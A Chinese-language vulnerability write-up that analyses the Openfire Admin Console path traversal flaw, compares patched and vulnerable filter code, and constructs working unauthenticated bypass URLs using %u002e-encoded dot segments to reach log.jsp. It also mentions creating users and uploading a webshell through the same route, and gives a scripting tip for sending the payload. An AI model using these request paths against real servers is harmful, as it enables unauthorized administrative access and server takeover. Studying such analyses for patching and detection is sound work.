漏洞描述
Openfire 的管理控制台(Admin Console)是一个基于 Web 的应用程序,被发现容易受到通过设置环境进行的路径遍历攻击。 这允许未经身份验证的用户在已配置的 Openfire 环境中使用未经身份验证的 Openfire 设置环境,以访问为管理用户保留的 Openfire 管理控制台中的受限页面。
影响版本
>= 3.10.0, < 4.6.8
>= 4.7.0, < 4.7.5
漏洞分析
查看修复版本和漏洞版本的代码区别:
同样看到修复代码增加了对utf-8的解码,并且增加白名单地址的限制
后面要想利用的话,分析有问题的AuthCheckFilter.java代码,要是利用的话需要所有的判断都返回true,首先查看exclude的配置是那些,在xmppserver/src/main/webapp/WEB-INF/web.xml中定义了 excludes的内容:
<filter>
<filter-name>AuthCheck</filter-name>
<filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
<init-param>
<param-name>excludes</param-name>
<param-value>
login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-*,.gif,.png,error-serverdown.jsp,loginToken.jsp
</param-value>
</init-param>
</filter>
boolean doExclude = false;
for (String exclude : excludes) {
if (testURLPassesExclude(url, exclude)) {
doExclude = true;
break;
}
}
在看代码:
if (exclude.endsWith("*")) {
if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
// Now make sure that there are no ".." characters in the rest of the URL.
if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
return true;
}
}
}
else if (exclude.contains("?")) {
if (url.equals(exclude)) {
return true;
}
}
在xmppserver/src/test/java/org/jivesoftware/admin/AuthCheckFilterTest.java中的代码:
assertTrue(AuthCheckFilter.testURLPassesExclude("setup/setup-new.jsp","setup/setup-*"));
通过断言可以的值setup/setup-new.jsp是满足exclude.endsWith("*")的
构造http://localhost:9090/setup/setup-s/../../log.jsp
通过url.startsWith(exclude.substring(0, exclude.length()-1)可以知道url也是满足
但是不满足后面的url的判断,对../进行utf-8的编码,绕过if的后面的检查
url为:
http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp可以发现报错,说明进入了log.jsp
查看log.jsp的代码,构造请求参数:http://127.0.0.1:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp?log=error&mode=asc&lines=All
可以看到绕过了登入访问到了log记录信息,同样调用其他的jsp可以实现创建用户、上传webshell等功能
小坑
用python进行脚本编写,采用了requests包,发现requests请求时候会对url中的%进行编码变成 %25导致url访问失败
解决方案采用 HackRequests 编写
注:不同的版本存在不同的方式,其中会有cookie的参与还有csrf的防护,这些都需要处理